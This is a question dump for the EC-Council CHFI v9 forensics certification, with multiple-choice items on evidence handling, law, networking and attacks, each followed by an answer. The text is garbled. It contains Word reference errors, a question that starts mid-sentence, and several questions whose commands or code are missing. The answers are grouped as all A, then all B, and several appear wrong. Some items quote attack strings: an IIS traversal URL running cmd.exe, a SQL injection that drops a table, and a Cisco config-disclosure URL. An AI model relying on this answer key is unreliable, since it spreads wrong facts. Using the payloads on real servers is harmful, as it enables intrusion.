ECCouncil Computer Hacking Forensic Investigator (V9)
190.You have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company IT department, you search through the server log files to find any trace of the intrusion. After that you decide to telnet into one of the company routers to see if there is any evidence to be found. While connected to the router, you see some unusual activity and believe that the attackers are currently connected to that router. You start up an ethereal session to begin capturing traffic on the router that could be used in the investigation. At what layer of the OSI model are you monitoring while watching traffic to and from the router? A. Network B. Transport C. Data Link D. Session
A
101.The rule of thumb when shutting down a system is to pull the power plug. However, it has certain drawbacks. Which of the following would that be? A. Any data not yet flushed to the system will be lost B. All running processes will be lost C. The /tmp directory will be flushed D. Power interruption will corrupt the pagefile
Answer: A
103.During the course of a corporate investigation, you find that an Employee is committing a crime. Can the Employer file a criminal complaint with Police? A. Yes, and all evidence can be turned over to the police B. Yes, but only if you turn the evidence over to a federal law enforcement agency C. No, because the investigation was conducted without following standard police procedures D. No, because the investigation was conducted without warrant
Answer: A
106.Which part of the Windows Registry contains the user's password file? A. HKEY_LOCAL_MACHINE B. HKEY_CURRENT_CONFIGURATION C. HKEY_USER D. HKEY_CURRENT_USER
Answer: A
107.When you carve an image, recovering the image depends on which of the following skills? A. Recognizing the pattern of the header content B. Recovering the image from a tape backup C. Recognizing the pattern of a corrupt file D. Recovering the image from the tape backup
Answer: A
108.What is the following command trying to accomplish? A. Verify that UDP port 445 is open for the 192.168.0.0 network B. Verify that TCP port 445 is open for the 192.168.0.0 network C. Verify that NETBIOS is running for the 192.168.0.0 network D. Verify that UDP port 445 is closed for the 192.168.0.0 network
Answer: A
110.You are working as an independent computer forensics investigator and received a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a "simple backup copy" of the hard drive in the PC and put it on this drive and requests that you examine that drive for evidence of the suspected images. You inform him that a "simple backup copy" will not provide deleted files or recover file fragments. What type of copy do you need to make to ensure that the evidence found is complete and admissible in future proceeding? A. Bit-stream Copy B. Robust Copy C. Full backup Copy D. Incremental Backup Copy
Answer: A
115.Why should you note all cable connections for a computer you want to seize as evidence? A. to know what outside connections existed B. in case other devices were connected C. to know what peripheral devices exist D. to know what hardware existed
Answer: A
117.When obtaining a warrant, it is important to: A. particularlydescribe the place to be searched and particularly describe the items to be seized B. generallydescribe the place to be searched and particularly describe the items to be seized C. generallydescribe the place to be searched and generally describe the items to be seized D. particularlydescribe the place to be searched and generally describe the items to be seized
Answer: A
12.What is a good security method to prevent unauthorized users from "tailgating"? A. Man trap B. Electronic combination locks C. Pick-resistant locks D. Electronic key systems
Answer: A
123.What are the security risks of running a "repair" installation for Windows XP? A. Pressing Shift+F10gives the user administrative rights B. Pressing Shift+F1gives the user administrative rights C. Pressing Ctrl+F10 gives the user administrative rights D. There are no security risks when running the "repair" installation for Windows XP
Answer: A
127.The police believe that Melvin Matthew has been obtaining unauthorized access to computers belonging to numerous computer software and computer operating systems manufacturers, cellular telephone manufacturers, Internet Service Providers and Educational Institutions. They also suspect that he has been stealing, copying and misappropriating proprietary computer software belonging to the several victim companies. What is preventing the police from breaking down the suspects door and searching his home and seizing all of his computer equipment if they have not yet obtained a warrant? A. The Fourth Amendment B. The USA patriot Act C. The Good Samaritan Laws D. The Federal Rules of Evidence
Answer: A
13.When examining the log files from a Windows IIS Web Server, how often is a new log file created? A. the same log is used at all times B. a new log file is created everyday C. a new log file is created each week D. a new log is created each time the Web Server is started
Answer: A
133.Law enforcement officers are conducting a legal search for which a valid warrant was obtained. While conducting the search, officers observe an item of evidence for an unrelated crime that was not included in the warrant. The item was clearly visible to the officers and immediately identified as evidence. What is the term used to describe how this evidence is admissible? A. Plain view doctrine B. Corpus delicti C. Locard Exchange Principle D. Ex Parte Order
Answer: A
135.A suspect is accused of violating the acceptable use of computing resources, as he has visited adult websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has removed any images he might have downloaded. What can the investigator do to prove the violation? A. Image the disk and try to recover deleted files B. Seek the help of co-workers who are eye-witnesses C. Check the Windows registry for connection data (you may or may not recover) D. Approach the websites for evidence
Answer: A
137.You are the network administrator for a small bank in Dallas, Texas. To ensure network security, you enact a security policy that requires all users to have 14 character passwords. After giving your users 2 weeks notice, you change the Group Policy to force 14 character passwords. A week later you dump the SAM database from the standalone server and run a password-cracking tool against it. Over 99% of the passwords are broken within an hour. Why were these passwords cracked so Quickly? A. Passwords of 14 characters or less are broken up into two 7-character hashes B. A password Group Policy change takes at least 3 weeks to completely replicate throughout a network C. Networks using Active Directory never use SAM databases so the SAM database pulled was empty D. The passwords that were cracked are local accounts on the Domain Controller
Answer: A
138.What will the following URL produce in an unpatched IIS Web Server? http://www.thetargetsite.com/scripts/..%co%af../..%co%af../windows/system32/cmd.exe?/c+dir+c:\ A. Directory listing of C: drive on the web server B. Insert a Trojan horse into the C: drive of the web server C. Execute a buffer flow in the C: drive of the web server D. Directory listing of the C:\windows\system32 folder on the web server
Answer: A
139.What happens when a file is deleted by a Microsoft operating system using the FAT file system? A. only the reference to the file is removed from the FAT B. the file is erased and cannot be recovered C. a copy of the file is stored and the original file is erased D. the file is erased but can be recovered
Answer: A
144.The following excerpt is taken from a honeypot log. The log captures activities across three days. There are several intrusion attempts; however, a few are successful. (Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.) Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 From the options given below choose the one which best interprets the following entry: Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 A. An IDS evasion technique B. A buffer overflow attempt C. A DNS zone transfer D. Data being retrieved from 63.226.81.13
Answer: A
149.Terri works for a security consulting firm that is currently performing a penetration test on First National Bank in Tokyo. Terri's duties include bypassing firewalls and switches to gain access to the network. Terri sends an IP packet to one of the company's switches with ACK bit and the source address of her machine set. What is Terri trying to accomplish by sending this IP packet? A. Trick the switch into thinking it already has a session with Terri's computer B. Poison the switch's MAC address table by flooding it with ACK bits C. Crash the switch with a DoS attack since switches cannot send ACK bits D. Enable tunneling feature on the switch
Answer: A
15.What will the following command accomplish? c:\> nmap -v -sS -Po 172.16.28.251 -data_length 66000 --packet_trace A. Test ability of a router to handle over-sized packets B. Test the ability of a router to handle under-sized packets C. Test the ability of a WLAN to handle fragmented packets D. Test the ability of a router to handle fragmented packets
Answer: A
150.What will the following command produce on a website login page? SELECT email, passwd, login_id, full_name FROM members WHERE email = '[email protected]'; DROP TABLE members; --' A. Deletes the entire members table B. Inserts the Error! Reference source not found.email address into the members table C. Retrieves the password for the first user in the members table D. This command will not produce anything since the syntax is incorrect
Answer: A
153.What should you do when approached by a reporter about a case that you are working on or have worked on? A. Refer the reporter to the attorney that retained you B. Say, "no comment" C. Answer all the reporter's questions as completely as possible D. Answer only the questions that help your case
Answer: A
157.In Microsoft file structures, sectors are grouped together to form: A. Clusters B. Drives C. Bitstreams D. Partitions
Answer: A
159.You are carrying out the last round of testing for your new website before it goes live. The website has many dynamic pages and connects to a SQL backend that accesses your product inventory in a database. You come across a web security site that recommends inputting the following code into a search field on web pages to check for vulnerabilities: When you type this and click on search, you receive a pop-up window that says: "This is a test." What is the result of this test? A. Your website is vulnerable to CSS B. Your website is not vulnerable C. Your website is vulnerable to SQL injection D. Your website is vulnerable to web bugs
Answer: A
160.When performing a forensics analysis, what device is used to prevent the system from recording data on an evidence disk? A. a write-blocker B. a protocol analyzer C. a firewall D. a disk editor
Answer: A
161.Office Documents (Word, Excel and PowerPoint) contain a code that allows tracking the MAC or unique identifier of the machine that created the document. What is that code called? A. Globally unique ID B. Microsoft Virtual Machine Identifier C. Personal Application Protocol D. Individual ASCII string
Answer: A
163.An Expert witness give an opinion if: A. The Opinion, inferences or conclusions depend on special knowledge, skill or training not within the ordinary experience of lay jurors B. To define the issues of the case for determination by the finder of fact C. To stimulate discussion between the consulting expert and the expert witness D. To deter the witness form expanding the scope of his or her investigation beyond the requirements of the case
Answer: A
164.Study the log given below and answer the following question: Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 Precautionary measures to prevent this attack would include writing firewall rules. Of these firewall rules, which among the following would be appropriate? A. Disallow UDP53 in from outside to DNS server B. Allow UDP53 in from DNS server to outside C. Disallow TCP53 in from secondaries or ISP server to DNS server D. Block all UDP traffic
Answer: A
166.Paul's company is in the process of undergoing a complete security audit including logical and physical security testing. After all logical tests were performed; it is now time for the physical round to begin. None of the employees are made aware of this round of testing. The security-auditing firm sends in a technician dressed as an electrician. He waits outside in the lobby for some employees to get to work and follows behind them when they access the restricted areas. After entering the main office, he is able to get into the server room telling the IT manager that there is a problem with the outlets in that room. What type of attack has the technician performed? A. Tailgating B. Backtrapping C. Man trap attack D. Fuzzing
Answer: A
171.Which is a standard procedure to perform during all computer forensics investigations? A. with the hard drive removed from the suspect PC, check the date and time in the system's CMOS B. with the hard drive in the suspect PC, check the date and time in the File Allocation Table C. with the hard drive removed from the suspect PC, check the date and time in the system's RAM D. with the hard drive in the suspect PC, check the date and time in the system's CMOS
Answer: A
174.When investigating a potential e-mail crime, what is your first step in the investigation? A. Trace the IP address to its origin B. Write a report C. Determine whether a crime was actually committed D. Recover the evidence
Answer: A
179.Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to send PDF documents containing sensitive information through E-mail to his customers. Bill protects the PDF documents with a password and sends them to their intended recipients. Why PDF passwords do not offer maximum protection? A. PDF passwords can easily be cracked by software brute force tools B. PDF passwords are converted to clear text when sent through E-mail C. PDF passwords are not considered safe by Sarbanes-Oxley D. When sent through E-mail, PDF passwords are stripped from the document completely
Answer: A
188.Jim performed a vulnerability analysis on his network and found no potential problems. He runs another utility that executes exploits against his system to verify the results of the vulnerability test. The second utility executes five known exploits against his network in which the vulnerability analysis said were not exploitable. What kind of results did Jim receive from his vulnerability analysis? A. False negatives B. False positives C. True negatives D. True positives
Answer: A
19.In Linux, what is the smallest possible shellcode? A. 24 bytes B. 8 bytes C. 800 bytes D. 80 bytes
Answer: A
196.Which of the following Event Correlation Approach is an advanced correlation method that assumes and predicts what an attacker can do next after the attack by studying the statistics and probability and uses only two variables? A. Bayesian Correlation B. Vulnerability-Based Approach C. Rule-Based Approach D. Route Correlation
Answer: A
198.Which of the following files DOES NOT use Object Linking and Embedding (OLE) technology to embed and link to other objects? A. Portable Document Format B. MS-office Word Document C. MS-office Word OneNote D. MS-office Word PowerPoint
Answer: A
200.During an investigation, an employee was found to have deleted harassing emails that were sent to someone else. The company was using Microsoft Exchange and had message tracking enabled. Where could the investigator search to find the message tracking log file on the Exchange server? A. C:\Program Files\Exchsrvr\servername.log B. D:\Exchsrvr\Message Tracking\servername.log C. C:\Exchsrvr\Message Tracking\servername.log D. C:\Program Files\Microsoft Exchange\srvr\servername.log
Answer: A
22.Which federal computer crime law specifically refers to fraud and related activity in connection with access devices like routers? A. 18 U.S.C. 1029 B. 18 U.S.C. 1362 C. 18 U.S.C. 2511 D. 18 U.S.C. 2703
Answer: A
23.Area density refers to: A. the amount of data per disk B. the amount of data per partition C. the amount of data per square inch D. the amount of data per platter
Answer: A
29.Kyle is performing the final testing of an application he developed for the accounting department. His last round of testing is to ensure that the program is as secure as possible. Kyle runs the following command. What is he testing at this point? #include #include int main(int argc, char *argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s string\n", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; } A. Buffer overflow B. SQL injection C. Format string bug D. Kernal injection
Answer: A
3.Windows identifies which application to open a file with by examining which of the following? A. The File extension B. The file attributes C. The file Signature at the end of the file D. The file signature at the beginning of the file
Answer: A
33.James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network. What type of DoS attack is James testing against his network? A. Smurf B. Trinoo C. Fraggle D. SYN flood
Answer: A
34.With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches ________. A. 0 B. 10 C. 100 D. 1
Answer: A
37.Jason has set up a honeypot environment by creating a DMZ that has no physical or logical access to his production network. In this honeypot, he has placed a server running Windows Active Directory. He has also placed a Web server in the DMZ that services a number of web pages that offer visitors a chance to download sensitive information by clicking on a button. A week later, Jason finds in his network logs how an intruder accessed the honeypot and downloaded sensitive information. Jason uses the logs to try and prosecute the intruder for stealing sensitive corporate information. Why will this not be viable? A. Entrapment B. Enticement C. Intruding into a honeypot is not illegal D. Intruding into a DMZ is not illegal
Answer: A
41.What is the target host IP in the following command? A. 172.16.28.95 B. 10.10.150.1 C. Firewalk does not scan target hosts D. This command is using FIN packets, which cannot scan target hosts
Answer: A
44.Meyer Electronics Systems just recently had a number of laptops stolen out of their office. On these laptops contained sensitive corporate information regarding patents and company strategies. A month after the laptops were stolen, a competing company was found to have just developed products that almost exactly duplicated products that Meyer produces. What could have prevented this information from being stolen from the laptops? A. EFS Encryption B. DFS Encryption C. IPS Encryption D. SDW Encryption
Answer: A
56.You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question whether evidence has been changed while at the lab. What can you do to prove that the evidence is the same as it was when it first entered the lab? A. make an MD5 hash of the evidence and compare it with the original MD5 hash that was taken when the evidence first entered the lab B. make an MD5 hash of the evidence and compare it to the standard database developed by NIST C. there is no reason to worry about this possible claim because state labs are certified D. sign a statement attesting that the evidence is the same as it was when it entered the lab
Answer: A
67.How many bits is Source Port Number in TCP Header packet? A. 16 B. 32 C. 48 D. 64
Answer: A
68.You are employed directly by an attorney to help investigate an alleged sexual harassment case at a large pharmaceutical manufacture. While at the corporate office of the company, the CEO demands to know the status of the investigation. What prevents you from discussing the case with the CEO? A. the attorney-work-product rule B. Good manners C. Trade secrets D. ISO 17799
Answer: A
69.What binary coding is used most often for e-mail purposes? A. MIME B. Uuencode C. IMAP D. SMTP
Answer: A
7.The objective of this act was to protect consumers' personal financial information held by financial institutions and their service providers. A. Gramm-Leach-Bliley Act B. Sarbanes-Oxley 2002 C. California SB 1386 D. HIPAA
Answer: A
82.Bob has been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the System for a period of three weeks. However, law enforcement agencies were recoding his every activity and this was later presented as evidence. The organization had used a Virtual Environment to trap Bob. What is a Virtual Environment? A. A Honeypot that traps hackers B. A system Using Trojaned commands C. An environment set up after the user logs in D. An environment set up before a user logs in
Answer: A
84.You are a security analyst performing a penetration tests for a company in the Midwest. After some initial reconnaissance, you discover the IP addresses of some Cisco routers used by the company. You type in the following URL that includes the IP address of one of the routers: http://172.168.4.131/level/99/exec/show/config After typing in this URL, you are presented with the entire configuration file for that router. What have you discovered? A. HTTP Configuration Arbitrary Administrative Access Vulnerability B. HTML Configuration Arbitrary Administrative Access Vulnerability C. Cisco IOS Arbitrary Administrative Access Online Vulnerability D. URL Obfuscation Arbitrary Administrative Access Vulnerability
Answer: A
9.You have completed a forensic investigation case. You would like to destroy the data contained in various disks at the forensics lab due to sensitivity of the case. How would you permanently erase the data on the hard disk? A. Throw the hard disk into the fire B. Run the powerful magnets over the hard disk C. Format the hard disk multiple times using a low level disk utility D. Overwrite the contents of the hard disk with Junk data
Answer: A
90.If a suspect computer is located in an area that may have toxic chemicals, you must: A. coordinate with the HAZMAT team B. determine a way to obtain the suspect computer C. assume the suspect machine is contaminated D. do not enter alone
Answer: A
91.One way to identify the presence of hidden partitions on a suspect's hard drive is to: A. Add up the total size of all known partitions and compare it to the total size of the hard drive B. Examine the FAT and identify hidden partitions by noting an H in the partition Type field C. Examine the LILO and note an H in the partition Type field D. It is not possible to have hidden partitions on a hard drive
Answer: A
96.You are trying to locate Microsoft Outlook Web Access Default Portal using Google search on the Internet. What search string will you use to locate them? A. allinurl:"exchange/logon.asp" B. intitle:"exchange server" C. locate:"logon page" D. outlook:"search"
Answer: A
98.If you discover a criminal act while investigating a corporate policy abuse, it becomes a publicsector investigation and should be referred to law enforcement? A. true B. false
Answer: A
99.George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities of their wireless network. He plans on remaining as "stealthy" as possible during the scan. Why would a scanner like Nessus is not recommended in this situation? A. Nessus is too loud B. Nessus cannot perform wireless testing C. Nessus is not a network scanner D. There are no ways of performing a "stealthy" wireless scan
Answer: A
network password so he can take a look at her documents on the file server. He enables Lophtcrack program to sniffing mode. John sends Hillary an email with a link to Error! Reference source not found. What information will he be able to gather from this? A. Hillary network username and password hash B. The SID of Hillary network account C. The SAM file from Hillary computer D. The network shares that Hillary has permissions
Answer: A
173.When examining a hard disk without a write-blocker, you should not start windows because Windows will write data to the: A. Recycle Bin B. MSDOS.sys C. BIOS D. Case files
Answer: A it is important to note that using a write-blocker is a standard practice in digital forensics to prevent any unintentional modification of data on the hard disk. Starting Windows or any other operating system without a write-blocker while examining a hard disk can potentially result in data being written to various system areas such as the Recycle Bin, temporary files, log files, and other areas that may alter or overwrite the original data, potentially compromising the integrity and admissibility of the evidence in legal or forensic contexts.
40.You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports should you open for SNMP to work through Firewalls? (Choose two.) A. 162 B. 161 C. 163 D. 160
Answer: A,B
52.E-mail logs contain which of the following information to help you in your investigation? (Choose four.) A. user account that was used to send the account B. attachments sent with the e-mail message C. unique message identifier D. contents of the e-mail message E. date and time the message was sent
Answer: A,C,D,E
111.Jason is the security administrator of ACMA metal Corporation. One day he notices the company's Oracle database server has been compromised and the customer information along with financial data has been stolen. The financial loss will be in millions of dollars if the database gets into the hands of thecompetitors. Jason wants to report this crime to the law enforcement agencies immediately. Which organization coordinates computer crimes investigations throughout the United States? A. Internet Fraud Complaint Center B. Local or national office of the U.S. Secret Service C. National Infrastructure Protection Center D. CERT Coordination Center
Answer: B
112.When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace. What is the name of the service used to synchronize time among multiple computers? A. Universal Time Set B. Network Time Protocol C. SyncTime Service D. Time-Sync Protocol
Answer: B
118.You are conducting an investigation of fraudulent claims in an insurance company that involves complex text searches through large numbers of documents. Which of the following tools would allow you to quickly and efficiently search for a string within a file on the bitmap image of the target computer? A. Stringsearch B. grep C. dir D. vim
Answer: B
122.You have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have exhaustively searched all data files on a bitmap image of the target computer, but have found no evidence. You suspect the files may not have been saved. What should you examine next in this case? A. The registry B. The swap file C. The recycle bin D. The metadata
Answer: B
124.What type of file is represented by a colon (:) with a name following it in the Master File Table of NTFS disk? A. A compressed file B. A Data stream file C. An encrypted file D. A reserved file
Answer: B
125.When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used? A. Passive IDS B. Active IDS C. Progressive IDS D. NIPS
Answer: B
129.You are called in to assist the police in an investigation involving a suspected drug dealer. The suspects house was searched by the police after a warrant was obtained and they located a floppy disk in the suspects bedroom. The disk contains several files, but they appear to be password protected. What are two common methods used by password cracking software that you can use to obtain the password? A. Limited force and library attack B. Brute Force and dictionary Attack C. Maximum force and thesaurus Attack D. Minimum force and appendix Attack
Answer: B
140.Corporate investigations are typically easier than public investigations because: A. the users have standard corporate equipment and software B. the investigator does not have to get a warrant C. the investigator has to get a warrant D. the users can load whatever they want on their machines
Answer: B
141.Under which Federal Statutes does FBI investigate for computer crimes involving e-mail scams and mail fraud? A. 18 U.S.C. 1029 Possession of Access Devices B. 18 U.S.C. 1030 Fraud and related activity in connection with computers C. 18 U.S.C. 1343 Fraud by wire, radio or television D. 18 U.S.C. 1361 Injury to Government Property E. 18 U.S.C. 1362 Government communication systems F. 18 U.S.C. 1831 Economic Espionage Act G. 18 U.S.C. 1832 Trade Secrets Act
Answer: B
142.When cataloging digital evidence, the primary goal is to A. Make bit-stream images of all hard drives B. Preserve evidence integrity C. Not remove the evidence from the scene D. Not allow the computer to be turned off
Answer: B
147.Sectors in hard disks typically contain how many bytes? A. 256 B. 512 C. 1024 D. 2048
Answer: B
155.At what layer of the OSI model do routers function on? A. 4 B. 3 C. 1 D. 5
Answer: B
156.Which Intrusion Detection System (IDS) usually produces the most false alarms due to the unpredictable behaviors of users and networks? A. network-based IDS systems (NIDS) B. host-based IDS systems (HIDS) C. anomaly detection D. signature recognition
Answer: B
16.As a CHFI professional, which of the following is the most important to your professional reputation? A. Your Certifications B. The correct, successful management of each and every case C. The free that you charge D. The friendship of local law enforcement officers
Answer: B
162.Which of the following file system is used by Mac OS X? A. EFS B. HFS+ C. EXT2 D. NFS
Answer: B
17.You are assisting in the investigation of a possible Web Server Hack. The company who called you stated that customers reported to them that whenever they entered the web address of the company in their browser, what they received was a porno graphic web site. The company checked the web server and nothing appears wrong. When you type in the IP address of the web site in your browser everything appears normal. What is the name of the attack that affects the DNS cache of the name resolution servers, resulting in those servers directing users to the wrong web site? A. ARP Poisoning B. DNS Poisoning C. HTTP redirect attack D. IP Spoofing
Answer: B
170.The offset in a hexadecimal code is: A. The last byte after the colon B. The 0x at the beginning of the code C. The 0x at the end of the code D. The first byte after the colon
Answer: B
178.Harold is a web designer who has completed a website for ghttech.net. As part of the maintenance agreement he signed with the client, Harold is performing research online and seeing how much exposure the site has received so far. Harold navigates to google.com and types in the following search. link: www.ghttech.net What will this search produce? A. All sites that ghttech.net links to B. All sites that link to ghttech.net C. All search engines that link to .net domains D. Sites that contain the code: link: www.ghttech.net
Answer: B
181.Why is it a good idea to perform a penetration test from the inside? A. It is never a good idea to perform a penetration test from the inside B. Because 70% of attacks are from inside the organization C. To attack a network from a hacker's perspective D. It is easier to hack from the inside
Answer: B
182.One technique for hiding information is to change the file extension from the correct one to one that might not be noticed by an investigator. For example, changing a .jpg extension to a .doc extension so that a picture file appears to be a document. What can an investigator examine to verify that a file has the correct extension? A. the File Allocation Table B. the file header C. the file footer D. the sector map
Answer: B
183.Which of the following should a computer forensics lab used for investigations have? A. isolation B. restricted access C. open access D. an entry log
Answer: B
185.You are working in the security Department of law firm. One of the attorneys asks you about the topic of sending fake email because he has a client who has been charged with doing just that. His client alleges that he is innocent and that there is no way for a fake email to actually be sent. You inform the attorney that his client is mistaken and that fake email is possibility and that you can prove it. You return to your desk and craft a fake email to the attorney that appears to come from his boss. What port do you send the email to on the company SMTP server? A. 10 B. 25 C. 110 D. 135
Answer: B
192.Which rule requires an original recording to be provided to prove the content of a recording? A. 1004 B. 1002 C. 1003 D. 1005
Answer: B
2.Michael works for Kimball Construction Company as senior security analyst. As part of yearly security audit, Michael scans his network for vulnerabilities. Using Nmap, Michael conducts XMAS scan and most of the ports scanned do not give a response. In what state are these ports? A. Closed B. Open C. Stealth D. Filtered
Answer: B
21.An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with theNTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information? A. EFS uses a 128-bit key that can't be cracked, so you will not be able to recover the information B. When the encrypted file was copied to the floppy disk, it was automatically unencrypted, so you can recover the information. C. The EFS Revoked Key Agent can be used on the Computer to recover the information D. When the Encrypted file was copied to the floppy disk, the EFS private key was also copied to the floppy disk, so you can recover the information.
Answer: B
26.You should make at least how many bit-stream copies of a suspect drive? A. 1 B. 2 C. 3 D. 4
Answer: B
27.What information do you need to recover when searching a victim's computer for a crime committed with specific e-mail message? A. Internet service provider information B. E-mail header C. Username and password D. Firewall log
Answer: B
31.What does ICMP Type 3/Code 13 mean? A. Host Unreachable B. Administratively Blocked C. Port Unreachable D. Protocol Unreachable
Answer: B
35.You are running known exploits against your network to test for possible vulnerabilities. To test the strength of your virus software, you load a test network to mimic your production network. Your software successfully blocks some simple macro and encrypted viruses. You decide to really test the software by using virus code where the code rewrites itself entirely and the signatures change from child to child, but the functionality stays the same. What type of virus is this that you are testing? A. Polymorphic B. Metamorphic C. Oligomorhic D. Transmorphic
Answer: B
38.What is kept in the following directory? HKLM\SECURITY\Policy\Secrets A. Cached password hashes for the past 20 users B. Service account passwords in plain text C. IAS account names and passwords D. Local store PKI Kerberos certificates
Answer: B
4.When conducting computer forensic analysis, you must guard against ______________ So that you remain focused on the primary job and insure that the level of work does not increase beyond what was originally expected. A. Hard Drive Failure B. Scope Creep C. Unauthorized expenses D. Overzealous marketing
Answer: B
42.What does the acronym POST mean as it relates to a PC? A. Primary Operations Short Test B. PowerOn Self Test C. Pre Operational Situation Test D. Primary Operating System Test
Answer: B
43.You work as a penetration tester for Hammond Security Consultants. You are currently working on a contract for the state government of California. Your next step is to initiate a DoS attack on their network. Why would you want to initiate a DoS attack on a system you are testing? A. Show outdated equipment so it can be replaced B. List weak points on their network C. Use attack as a launching point to penetrate deeper into the network D. Demonstrate that no system can be protected against DoS attacks
Answer: B
45.What TCP/UDP port does the toolkit program netstat use? A. Port 7 B. Port 15 C. Port 23 D. Port 69
Answer: B
5.After undergoing an external IT audit, George realizes his network is vulnerable to DDoS attacks. What countermeasures could he take to prevent DDoS attacks? A. Enable direct broadcasts B. Disable direct broadcasts C. Disable BGP D. Enable BGP
Answer: B
50.An "idle" system is also referred to as what? A. PC not connected to the Internet B. Zombie C. PC not being used D. Bot
Answer: B
53.A(n) _____________________ is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence. A. blackout attack B. automated attack C. distributed attack D. central processing attack
Answer: B
57.Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual media. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any. What do you think would be the next sequence of events? A. Connect the target media; prepare the system for acquisition; Secure the evidence; Copy the media B. Prepare the system for acquisition; Connect the target media; copy the media; Secure the evidence C. Connect the target media; Prepare the system for acquisition; Secure the evidence; Copy the media D. Secure the evidence; prepare the system for acquisition; Connect the target media; copy the media
Answer: B
